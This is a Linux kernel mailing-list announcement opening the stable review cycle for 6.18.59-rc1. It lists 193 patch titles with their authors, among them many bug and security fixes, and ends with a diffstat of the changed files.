* [PATCH 6.18 000/193] 6.18.59-rc1 review
@ 2026-10-23 16:34 Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 001/193] drm/ttm: fix swapped-out resources never leaving their bulk_move range Greg Kroah-Hartman
` (203 more replies)
0 siblings, 204 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, linux-kernel, torvalds, akpm, linux,
shuah, patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr
This is the start of the stable review cycle for the 6.18.59 release.
There are 193 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.18.59-rc1.gz
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-6.18.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Linux 6.18.59-rc1
Paulo Alcantara <pc@manguebit.org>
smb: client: drain outstanding I/O before truncating on O_TRUNC open
Michal Schmidt <mschmidt@redhat.com>
ice: fix crash in ethtool offline loopback test
Alexander Lobakin <aleksander.lobakin@intel.com>
ice: fix broken Rx on VFs
Michal Kubiak <michal.kubiak@intel.com>
ice: switch to Page Pool
Michal Kubiak <michal.kubiak@intel.com>
ice: drop page splitting and recycling
Michal Kubiak <michal.kubiak@intel.com>
ice: remove legacy Rx and construct SKB
Paulo Alcantara <pc@manguebit.org>
smb: client: fix data corruption with concurrent writes and O_TRUNC
Daehyeon Ko <4ncienth@gmail.com>
vsock/vmci: validate packet source for connected sockets
Ido Schimmel <idosch@nvidia.com>
ipv4: udp: Create exceptions before socket matching
Daehyeon Ko <4ncienth@gmail.com>
vsock/virtio: validate packet source for connected sockets
Bobby Eshleman <bobbyeshleman@meta.com>
virtio: set skb owner of virtio_transport_reset_no_sock() reply
Yao Kai <yaokai34@huawei.com>
workqueue: Fix unbound pool lifetime for pending pwqs
Breno Leitao <leitao@debian.org>
workqueue: release pwq pools by pool type
Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
io_uring/cancel: don't spin on local work the task can't run
Jens Axboe <axboe@kernel.dk>
io_uring/cancel: move cancelation code from io_uring.c to cancel.c
Jens Axboe <axboe@kernel.dk>
io_uring/cancel: move __io_uring_cancel() into cancel.c
Jens Axboe <axboe@kernel.dk>
io_uring/cancel: move request/task cancelation logic into cancel.c
Frank Sorenson <sorenson@redhat.com>
cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
Huiwen He <hehuiwen@kylinos.cn>
smb/client: refresh allocation size after duplicate extents
Donggeun Yoo <donggeunyoo.kernel@gmail.com>
tracing: Fix NULL dereference when copying keys for a field variable
Pengpeng Hou <pengpeng@iscas.ac.cn>
tracing: Bound histogram expression strings with seq_buf
Pengpeng Hou <pengpeng@iscas.ac.cn>
tracing: Use __free() for expr_str() buffer
Tom Zanussi <zanussi@kernel.org>
tracing: Fix fully-qualified variable reference printing in histograms
Tejun Heo <tj@kernel.org>
sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPU's local DSQ
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
Taeyang Lee <0wn@theori.io>
tracing: Keep the predicate limit separate from program capacity
Dmitry Kandybka <d.kandybka@gmail.com>
tracing: Fix ignored return value of resize_buffer_duplicate_size()
Hui Su <sh_def@163.com>
sched_ext: idle: Respect task affinity in restricted CPU selection
Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
drm/i915/dmc: Harden DMC firmware payload parsing
Christian Brauner <brauner@kernel.org>
ntfs3: free the sbi after a grace period
Baokun Li <libaokun1@huawei.com>
fs/ntfs3: fix ntfs_mount_options leak in ntfs_fill_super()
YangWen <anmuxixixi@gmail.com>
ntfs3: fix double free of sbi->options->nls and clarify ownership of fc->fs_private
YangWen <anmuxixixi@gmail.com>
ntfs3: fix use-after-free of sbi->options in cmp_fnames
Laurence Oberman <loberman@redhat.com>
scsi: st: Fix use-after-free race between st_remove() and st_open()
Paulo Alcantara <pc@manguebit.org>
smb: client: fix multiuser mount with krb5
Frank Sorenson <sorenson@redhat.com>
smb: client: fix heap overflow in cifs_do_set_acl()
Aohan Mei <henrymei@tencent.com>
net/sched: cls_flower: validate mask pointer after nla_next()
Aleksandr Khromov <haa@amicon.ru>
ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
Aleksandr Khromov <haa@amicon.ru>
ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
Aleksandr Khromov <haa@amicon.ru>
ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
Norbert Szetei <norbert@doyensec.com>
net: psp: do not inherit the Rx association on clone
Jun Yang <littleddfu@gmail.com>
net: bridge: mcast: don't truncate the port group walk on teardown
Christian Brauner <brauner@kernel.org>
ext4: free the sbi after a grace period
Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
Jann Horn <jannh@google.com>
futex: Fix mm reuse handling for FUT_OFF_MMSHARED
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: keep the eviction fence until the last handle is closed
Paolo Bonzini <pbonzini@redhat.com>
KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
Hyunwoo Kim <imv4bel@gmail.com>
KVM: x86/mmu: Preserve nested TDP shadow page tables if they are used as roots
Florian Westphal <fw@strlen.de>
netfilter: nft_byteorder: remove multi-register support
Rafael J. Wysocki <rafael.j.wysocki@intel.com>
ACPI: tiny-power-button: Convert the driver to a platform one
David Rosca <david.rosca@amd.com>
drm/amdgpu: Fix VCE 3 ring align_mask
Yosry Ahmed <yosry.ahmed@linux.dev>
KVM: SVM: Stop toggling virtual VMSAVE/VMLOAD on intercept recalc
Zihan Xi <zihanx@nebusec.ai>
ipv4: avoid divide by zero in fib_rebalance
Niklas Schnelle <schnelle@linux.ibm.com>
s390/pci: Fix leak of uninitialized kernel data in SCLP report
Aswin Karuvally <aswin@linux.ibm.com>
s390/ctcm: Prevent XID null dereference
Florian Schauer <florian@schauer.to>
page_pool: keep frag_offset aligned for odd-sized requests
Charles Vosburgh <theminershive@gmail.com>
sctp: validate chunk length in the inqueue parser
Chengfeng Ye <nicoyip.dev@gmail.com>
tipc: protect node reset trace dump with node lock
Tejun Heo <tj@kernel.org>
workqueue: Annotate cb_lock nesting when draining a dead BH pool
Zqiang <qiang.zhang@linux.dev>
workqueue: Use raise_softirq() to trigger softirq in irq_work handler
Ilya Maximets <i.maximets@ovn.org>
netlink: specs: add missing mask attributes for conntrack dump
Ilya Maximets <i.maximets@ovn.org>
netlink: specs: fix the conntrack filter type
Christoph Hellwig <hch@lst.de>
xfs: fix zoned write iomap flags assignments
Carlos Maiolino <cem@kernel.org>
xfs: fix capability check in xfs
Yun Zhou <yun.zhou@windriver.com>
xfs: don't hold buffer locks across sync transaction commit in xfs_sync_sb_buf
Bryam Vargas <hexlabsecurity@proton.me>
net/iucv: fix the recvmsg window update
Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
mac802154: fix data race and NULL deref on local->assoc_dev
Chen Cheng <chencheng@fnnas.com>
dm-integrity: require stable writes for internal hash modes
Ben Cressey <ben@cressey.dev>
dm-integrity: fix infinite loop on discard with large tag size
Genjian Zhang <zhanggenjian@kylinos.cn>
dm-ebs: fix incorrect device offset check in ebs_ctr()
Ben Cressey <ben@cressey.dev>
dm-crypt: fix a tiny race condition in crypt_dec_pending
Benjamin Marzinski <bmarzins@redhat.com>
dm cache: fix issue with background work locking
Ming-Hung Tsai <mtsai@redhat.com>
dm cache: fix demotion stats in passthrough mode
Frank Sorenson <sorenson@redhat.com>
cifs: don't update i_size in cifs_do_truncate without a cached handle
Etienne Perot <eperot@google.com>
cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
Heyang Tan <thy15333007817@163.com>
wifi: p54: validate firmware record lengths
Tengda Wu <wutengda@huaweicloud.com>
tracing: Fix hist trigger timestamps for buffered events
Amit Machhiwal <amachhiw@linux.ibm.com>
tracing: Do not initialize tracefs work if tracing is disabled
Taeyang Lee <0wn@theori.io>
tracing: Check operator stack capacity before pushing
David Carlier <devnexen@gmail.com>
tracing: Take trace_types_lock when dropping the buffer_meta reference
Donggeun Yoo <donggeunyoo.kernel@gmail.com>
tracing: Fix the shift out of bounds in the log2 histogram modifier
Thomas Hellström <thomas.hellstrom@linux.intel.com>
drm/xe: Bump LRU for external objects on exec and rebind
Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
drm/i915/dmc: Add sanity check for DMC load address
Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
drm/i915/cx0_phy: Fix ARL-S host bridge detection
Christian König <ckoenig.leichtzumerken@gmail.com>
drm/exec: don't immediately add prelocked obj to array of locked objs
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
Jesse Zhang <Jesse.Zhang@amd.com>
drm/amdgpu: don't drop the runtime PM reference twice in amdgpu_gpr
Timur Kristóf <timur.kristof@gmail.com>
drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
Kenneth Feng <kenneth.feng@amd.com>
drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: libiscsi: Validate the task named by a management response
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: libiscsi: Validate the ITT reflected in a Reject PDU
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: libiscsi: Reject a negative task index from parse_pdu_itt
Yehyeong Lee <yhlee@isslab.korea.ac.kr>
scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
Stanley Jhu <stanleyjhu@google.com>
scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
Krystian Kaniewski <krystianmkaniewski@gmail.com>
ring-buffer: Fix false warning in ring_buffer_map_get_reader()
Donggeun Yoo <donggeunyoo.kernel@gmail.com>
ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
David Carlier <devnexen@gmail.com>
ring-buffer: Do not show buffer_meta for CPUs without a buffer
Antoine Huret <antoine.huret@bull.com>
perf: Update cgroup time when rotating multiplexed events
Lorenzo Stoakes (ARM) <ljs@kernel.org>
perf: Track the perf mlock gift separately
Wentao Liang <vulab@iscas.ac.cn>
i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
Loic Poulain <loic.poulain@oss.qualcomm.com>
i2c: qcom-cci: Fix HALT_ACK reset request being dropped
Lee Jones <lee@kernel.org>
tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
Sasha Levin <sashal@kernel.org>
tools: gpio: fix building from the top level with O=
Daehyeon Ko <4ncienth@gmail.com>
sctp: revalidate output stream after association connect wait
Mario Limonciello <mario.limonciello@amd.com>
pinctrl: amd: Clear S4 wake bits when firmware has _AEI
Aohan Mei <henrymei@tencent.com>
net: rds: fix uninitialized trans dereference in CM event handler
Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
net/sched: fix use-after-free in __tcf_action_put()
Eric Biggers <ebiggers@kernel.org>
lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
Christian Brauner <brauner@kernel.org>
namei: test for a negative dentry the way traverse_mounts() does
Christian Brauner <brauner@kernel.org>
eventfs: Free the eventfs_inode after an rcu grace period too
Aviv Vaknin <vaknins33@gmail.com>
pid_namespace: make zap_pid_ns_processes() freezable
Kyle Zeng <kylebot@openai.com>
fsnotify: prevent mark additions during connector teardown
Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
EJ Campbell <ejc3@meta.com>
x86/kvm: Don't consume async #PF flags on a kernel #PF in NMI context
Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
watch_queue: Fix note pool publication race in watch_queue_set_size()
Christian Brauner <brauner@kernel.org>
unicode: free the map after a grace period
Sasha Levin <sashal@kernel.org>
bootconfig: give the footer size static_assert a message
Sung Byeongchan <tjdqudcks0424@naver.com>
autofs: ignore notification errors from a replaced pipe
Christian Brauner <brauner@kernel.org>
afs: free the super info after a grace period
Igor Paunovic <royalnet026@gmail.com>
accel/rocket: search every core slot when a core is removed
Alexander Gruhlke <gruhlke@mailbox.org>
PCI: Don't treat ~0 as ready in pci_dev_wait() with RRS SV
John Ogness <john.ogness@linutronix.de>
printk: Postpone kthread startup
Haris Okanovic <harisokn@amazon.com>
perf: Fix perf_pmu_migrate_context() leaving events behind
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix race between gpiochip registration and IRQ domain setup
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix wakeup_pads bit operations
Alexander Stein <alexander.stein@ew.tq-group.com>
gpio: mxc: use BIT() macro
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix both_edges bit operations
Peng Fan <peng.fan@nxp.com>
gpio: mxc: fix race between chained IRQ handler install and probe completion
Kent Gibson <warthog618@gmail.com>
gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
Joas Antonio dos Santos <joasantonio108@gmail.com>
calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
Alice Mikityanska <alice@isovalent.com>
net/ipv6: Introduce payload_len helpers
Nicolai Buchwitz <nb@tipi-net.de>
net: bcmgenet: unshare the skb before writing the control block
Kyle Zeng <kylebot@openai.com>
netlink: avoid hashing the network namespace pointer
Xingui Yang <yangxingui@huawei.com>
scsi: libsas: Fix SMP IO deadlock during HA resume
Martin Kaiser <martin@kaiser.cx>
tracing: probes: error if BTF is required but unavailable
Kyle Zeng <kylebot@openai.com>
pipe: preserve existing fasync readers on writer setup failure
Sasha Levin <sashal@kernel.org>
samples: pidfd: fix userprogs typo
Cen Zhang <zzzccc427@gmail.com>
ocfs2/dlm: Protect the recovery list during debugfs reads
Erik Faye-Lund <erik.faye-lund@arm.com>
drm/panthor: fix immortalis condition
Linfeng Sun <linfeng.sun.dev@gmail.com>
scsi: target: iscsi: Fix race in discovery auth updates
Laurence Oberman <loberman@redhat.com>
scsi: st: Save the visited block for the partition the drive is in
Keith Busch <kbusch@kernel.org>
nios2: fix __wsum type degradation in csum_fold()
Carlos Jones Jr <carlosjr.jones@analog.com>
spi: tegra114: assert CS GPIO for every transfer in a message
Bommu Krishnaiah <krishnaiah.bommu@intel.com>
drm/xe/oa: Zero OA buffer at allocation
Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
drm/xe: skip eviction of a BO with no resource
Mario Limonciello <mario.limonciello@amd.com>
ASoC: amd: yc: disable MSI on resume
Alexandre Cassen <acassen@corp.free.fr>
net/mlx5: HWS, fix flow meter offset within its bulk
Alexandre Cassen <acassen@corp.free.fr>
net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
Guangshuo Li <lgs201920130244@gmail.com>
accel/rocket: clear rdev on device init failure
Kyle Zeng <kylebot@openai.com>
netlink: reset skb headers before unicast and multicast filtering
Michael Reeves <michael.reeves077@gmail.com>
regmap: Drop map lock during cache init and exit
Francesco Lavra <flavra@baylibre.com>
regcache: Do not overwrite error code when finalizing cache after error
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
regcache: Add ->populate() callback to separate from ->init()
HyeongJun An <sammiee5311@gmail.com>
ASoC: nau8822: Fix the 128x oversampling switch bits
HyeongJun An <sammiee5311@gmail.com>
ASoC: wm8978: Fix the 128x oversampling switch bits
HyeongJun An <sammiee5311@gmail.com>
ASoC: max98371: Fix the Speaker DHT Min Volume bits
HyeongJun An <sammiee5311@gmail.com>
ASoC: pcm3168a: Fix the DAC zero flag polarity bit
HyeongJun An <sammiee5311@gmail.com>
ASoC: cs42l52: Fix the NG Type Switch bit
HyeongJun An <sammiee5311@gmail.com>
ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
Avi Weiss <thnkslprpt@gmail.com>
ASoC: stm32: spdifrx: fix synchronization state check
Sergey Tiraspolsky <stiraspo@gmail.com>
ASoC: Intel: avs: Reset the stream unless it is already prepared
Allison Henderson <achender@kernel.org>
net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure
Michal Luczaj <mhal@rbox.co>
vsock: treat TCP_CLOSING as once-established
Ming Yu <a0282524688@gmail.com>
gpio: nct6694: Mark the GPIO controller as sleeping
Dave Stevenson <dave.stevenson@raspberrypi.com>
drm/vc4: hdmi: Move packet RAM enable to PM runtime
Pablo Mazzini <pmazzini@gmail.com>
pinctrl: sunxi: dt: do not accumulate npins across probe attempts
Adriel Santos <adriel@adriel.eu>
pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
Alexey Charkov <alchark@flipper.net>
power: supply: core: prevent unregistering a power supply while a callback runs
Svyatoslav Ryhel <clamor95@gmail.com>
power: supply: generic-adc-battery: Fix temperature IIO channel conversion
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix add_counter issue if > 24 counters.
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix PMT error path fd handling
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix CWF PMT off-by-one
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix fd_perf leak on reset
Gilberto Conde <gilbertorconde@gmail.com>
pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
pinctrl: qcom: qcs8300: Fix intr_target_width
Michael Kelley <mhkelley58@gmail.com>
Drivers: hv: Don't reset VMBus connection state on error/exit paths
Michael Kelley <mhkelley58@gmail.com>
x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
Waiman Long <longman@redhat.com>
Drivers: hv: Avoid infinite retry loop in init_vp_index()
Xueqin Luo <luoxueqin@kylinos.cn>
power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
Karl Mehltretter <kmehltretter@gmail.com>
power: supply: Fix maintenance charge table kernel-doc
David Oberhollenzer <david.oberhollenzer@sigma-star.at>
ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
Jinhui Guo <guojinhui.liam@bytedance.com>
soc/tegra: fuse: Add missing newline to APBMISC error message
Federico Parola <fparola@amazon.de>
kho: free phys_bits bitmaps using free_page() in __kho_abort()
Abel Vesa <abel.vesa@oss.qualcomm.com>
i2c: qcom-geni: Restore the source-clock selection policy
Bernard Pidoux <bernard.f6bvp@gmail.com>
rose: purge rose_neigh->queue on final teardown
Bernard Pidoux <bernard.f6bvp@gmail.com>
ax25: bound REJ-driven fast retransmits with the existing N2 counter
Harin Lee <me@harin.net>
ALSA: ctxfi: Use correct DAIO type for da_desc
Harin Lee <me@harin.net>
ALSA: ctxfi: Rename SPDIFI1 to SPDIFI_BAY
Takashi Iwai <tiwai@suse.de>
ALSA: ctxfi: Don't enumerate SPDIF1 at DAIO initialization
Vadim Nikitushkin <bub4z0r@gmail.com>
drm/ttm: fix swapped-out resources never leaving their bulk_move range
-------------
Diffstat:
Documentation/netlink/specs/conntrack.yaml | 21 +-
Makefile | 4 +-
arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +-
arch/nios2/include/asm/checksum.h | 2 +-
arch/s390/pci/pci_sysfs.c | 3 +
arch/x86/hyperv/hv_init.c | 3 +-
arch/x86/kernel/kvm.c | 32 +-
arch/x86/kvm/mmu.h | 16 +-
arch/x86/kvm/mmu/mmu.c | 1 +
arch/x86/kvm/mmu/paging_tmpl.h | 2 +-
arch/x86/kvm/svm/svm.c | 10 +-
arch/x86/kvm/vmx/nested.c | 4 +-
block/bsg-lib.c | 13 +-
drivers/accel/rocket/rocket_device.c | 2 +
drivers/accel/rocket/rocket_device.h | 1 +
drivers/accel/rocket/rocket_drv.c | 7 +-
drivers/acpi/tiny-power-button.c | 27 +-
drivers/base/regmap/internal.h | 1 +
drivers/base/regmap/regcache-maple.c | 9 +-
drivers/base/regmap/regcache.c | 18 +-
drivers/gpio/gpio-mxc.c | 36 +-
drivers/gpio/gpio-nct6694.c | 2 +-
drivers/gpio/gpiolib.c | 9 +-
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 6 +
drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c | 23 +-
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 11 +-
drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 +-
drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 +-
.../gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c | 55 +-
drivers/gpu/drm/drm_exec.c | 77 ++-
drivers/gpu/drm/i915/display/intel_cx0_phy.c | 12 +-
drivers/gpu/drm/i915/display/intel_dmc.c | 76 ++-
drivers/gpu/drm/i915/display/intel_dmc_regs.h | 12 +
drivers/gpu/drm/panthor/panthor_hw.c | 2 +-
drivers/gpu/drm/ttm/ttm_bo.c | 2 +-
drivers/gpu/drm/vc4/vc4_hdmi.c | 20 +-
drivers/gpu/drm/xe/xe_bo.c | 6 +
drivers/gpu/drm/xe/xe_exec.c | 7 +-
drivers/gpu/drm/xe/xe_oa.c | 7 +
drivers/gpu/drm/xe/xe_vm.c | 31 +-
drivers/gpu/drm/xe/xe_vm.h | 2 +
drivers/hv/channel_mgmt.c | 12 +-
drivers/hv/connection.c | 1 -
drivers/hv/vmbus_drv.c | 1 -
drivers/i2c/busses/i2c-qcom-cci.c | 4 +-
drivers/i2c/busses/i2c-qcom-geni.c | 37 +-
drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +-
drivers/md/dm-cache-target.c | 59 +-
drivers/md/dm-crypt.c | 3 +-
drivers/md/dm-ebs-target.c | 3 +-
drivers/md/dm-integrity.c | 6 +-
drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 +
drivers/net/ethernet/intel/Kconfig | 1 +
drivers/net/ethernet/intel/ice/ice.h | 3 +-
drivers/net/ethernet/intel/ice/ice_base.c | 128 ++--
drivers/net/ethernet/intel/ice/ice_ethtool.c | 26 +-
drivers/net/ethernet/intel/ice/ice_lib.c | 16 +-
drivers/net/ethernet/intel/ice/ice_main.c | 21 +-
drivers/net/ethernet/intel/ice/ice_txrx.c | 647 +++------------------
drivers/net/ethernet/intel/ice/ice_txrx.h | 125 +---
drivers/net/ethernet/intel/ice/ice_txrx_lib.c | 69 ++-
drivers/net/ethernet/intel/ice/ice_txrx_lib.h | 9 -
drivers/net/ethernet/intel/ice/ice_xsk.c | 146 +----
drivers/net/ethernet/intel/ice/ice_xsk.h | 6 +-
drivers/net/ethernet/intel/ice/virt/queues.c | 6 +-
.../mellanox/mlx5/core/steering/hws/fs_hws.c | 5 +-
drivers/net/wireless/intersil/p54/fwio.c | 42 +-
drivers/pci/pci.c | 15 +-
drivers/pinctrl/pinctrl-amd.c | 9 +
drivers/pinctrl/qcom/pinctrl-ipq5018.c | 10 +-
drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 +
drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 +
drivers/power/supply/ds2780_battery.c | 2 +-
drivers/power/supply/generic-adc-battery.c | 9 +-
drivers/power/supply/power_supply_core.c | 26 +-
drivers/s390/net/ctcm_mpc.c | 3 +-
drivers/scsi/libiscsi.c | 14 +-
drivers/scsi/libsas/sas_expander.c | 14 +-
drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +-
drivers/scsi/scsi_transport_fc.c | 6 +-
drivers/scsi/scsi_transport_iscsi.c | 2 +-
drivers/scsi/scsi_transport_sas.c | 6 +-
drivers/scsi/st.c | 18 +-
drivers/scsi/xen-scsifront.c | 1 +
drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +-
drivers/spi/spi-tegra114.c | 7 +
drivers/target/iscsi/iscsi_target_configfs.c | 26 +-
drivers/ufs/core/ufs_bsg.c | 2 +-
fs/afs/internal.h | 2 +
fs/afs/super.c | 2 +-
fs/autofs/waitq.c | 25 +-
fs/ext4/ext4.h | 2 +
fs/ext4/extents_status.c | 7 +-
fs/ext4/extents_status.h | 1 +
fs/ext4/super.c | 13 +-
fs/namei.c | 3 +-
fs/notify/mark.c | 11 +
fs/ntfs3/ntfs_fs.h | 1 +
fs/ntfs3/super.c | 66 ++-
fs/ocfs2/dlm/dlmcommon.h | 2 +
fs/ocfs2/dlm/dlmdebug.c | 5 +-
fs/ocfs2/dlm/dlmrecovery.c | 2 +-
fs/pipe.c | 6 +-
fs/smb/client/cifsfs.c | 10 +-
fs/smb/client/cifssmb.c | 13 +-
fs/smb/client/connect.c | 21 +-
fs/smb/client/file.c | 38 +-
fs/smb/client/smb2ops.c | 35 +-
fs/smb/server/smb2pdu.c | 5 +
fs/tracefs/event_inode.c | 10 +-
fs/unicode/utf8-core.c | 21 +-
fs/xfs/libxfs/xfs_rtgroup.h | 6 +-
fs/xfs/libxfs/xfs_sb.c | 37 +-
fs/xfs/xfs_aops.c | 3 +-
fs/xfs/xfs_fsmap.c | 2 +-
fs/xfs/xfs_ioctl.c | 2 +-
fs/xfs/xfs_iomap.c | 3 +-
fs/xfs/xfs_iops.c | 2 +-
include/drm/drm_exec.h | 15 +-
include/linux/bsg-lib.h | 3 +-
include/linux/cgroup-defs.h | 5 +-
include/linux/fsnotify_backend.h | 1 +
include/linux/futex.h | 18 +-
include/linux/ipv6.h | 22 +
include/linux/maple_tree.h | 4 +
include/linux/mm_types.h | 3 +
include/linux/power_supply.h | 16 +-
include/linux/sched/user.h | 8 +-
include/linux/unicode.h | 1 +
include/net/af_vsock.h | 3 +
include/net/ipv6.h | 2 -
include/net/netfilter/nf_tables_ipv6.h | 4 +-
include/net/rose.h | 12 +
io_uring/cancel.c | 269 +++++++++
io_uring/cancel.h | 8 +-
io_uring/io_uring.c | 288 +--------
io_uring/io_uring.h | 13 +-
io_uring/sqpoll.c | 1 +
kernel/cgroup/cgroup.c | 6 +-
kernel/events/core.c | 33 +-
kernel/exit.c | 2 +-
kernel/futex/core.c | 79 +--
kernel/kexec_handover.c | 2 +-
kernel/pid_namespace.c | 2 +-
kernel/printk/printk.c | 2 +-
kernel/sched/ext.c | 13 +-
kernel/sched/ext_idle.c | 50 +-
kernel/sched/ext_internal.h | 5 +-
kernel/trace/ring_buffer.c | 13 +-
kernel/trace/trace.c | 13 +-
kernel/trace/trace_events_filter.c | 9 +-
kernel/trace/trace_events_hist.c | 101 ++--
kernel/trace/trace_probe.c | 3 +-
kernel/watch_queue.c | 11 +-
kernel/workqueue.c | 36 +-
lib/crypto/arm64/poly1305-armv8.pl | 2 +-
lib/crypto/poly1305.c | 2 +-
net/ax25/ax25_std_in.c | 36 ++
net/bridge/br_multicast.c | 13 +-
net/bridge/br_netfilter_ipv6.c | 2 +-
net/bridge/netfilter/nf_conntrack_bridge.c | 4 +-
net/core/page_pool.c | 3 +-
net/core/sock.c | 3 +
net/ipv4/fib_semantics.c | 2 +-
net/ipv4/tcp.c | 18 +-
net/ipv4/tcp_cong.c | 4 +-
net/ipv4/tcp_dctcp.c | 4 +-
net/ipv4/tcp_minisocks.c | 2 +-
net/ipv4/tcp_output.c | 2 +-
net/ipv4/udp.c | 11 +-
net/ipv6/calipso.c | 6 +-
net/ipv6/ip6_input.c | 2 +-
net/ipv6/ip6_offload.c | 7 +-
net/ipv6/output_core.c | 7 +-
net/iucv/af_iucv.c | 42 +-
net/mac802154/ieee802154_i.h | 7 +-
net/mac802154/main.c | 1 +
net/mac802154/scan.c | 51 +-
net/netfilter/ipvs/ip_vs_xmit.c | 2 +-
net/netfilter/nf_conntrack_ovs.c | 2 +-
net/netfilter/nf_log_syslog.c | 2 +-
net/netfilter/nft_byteorder.c | 51 +-
net/netlink/af_netlink.c | 10 +-
net/rds/rdma_transport.c | 38 +-
net/sched/act_api.c | 11 +-
net/sched/cls_flower.c | 5 +
net/sched/sch_cake.c | 2 +-
net/sctp/inqueue.c | 6 +-
net/sctp/socket.c | 33 +-
net/tipc/node.c | 2 +
net/vmw_vsock/af_vsock.c | 49 +-
net/vmw_vsock/virtio_transport_common.c | 9 +-
net/vmw_vsock/vmci_transport.c | 40 +-
samples/pidfd/Makefile | 2 +-
sound/pci/ctxfi/ctatc.c | 16 +-
sound/pci/ctxfi/ctdaio.c | 5 +-
sound/pci/ctxfi/ctdaio.h | 2 +-
sound/soc/amd/yc/pci-acp6x.c | 38 +-
sound/soc/codecs/cs42l52.c | 2 +-
sound/soc/codecs/cs42l56.c | 2 +-
sound/soc/codecs/max98371.c | 2 +-
sound/soc/codecs/nau8822.c | 4 +-
sound/soc/codecs/pcm3168a.c | 2 +-
sound/soc/codecs/wm8978.c | 4 +-
sound/soc/intel/avs/pcm.c | 2 +-
sound/soc/sof/ipc4-topology.c | 16 +-
sound/soc/stm/stm32_spdifrx.c | 2 +-
tools/bootconfig/main.c | 3 +-
tools/gpio/Makefile | 6 +
tools/power/x86/turbostat/turbostat.c | 24 +-
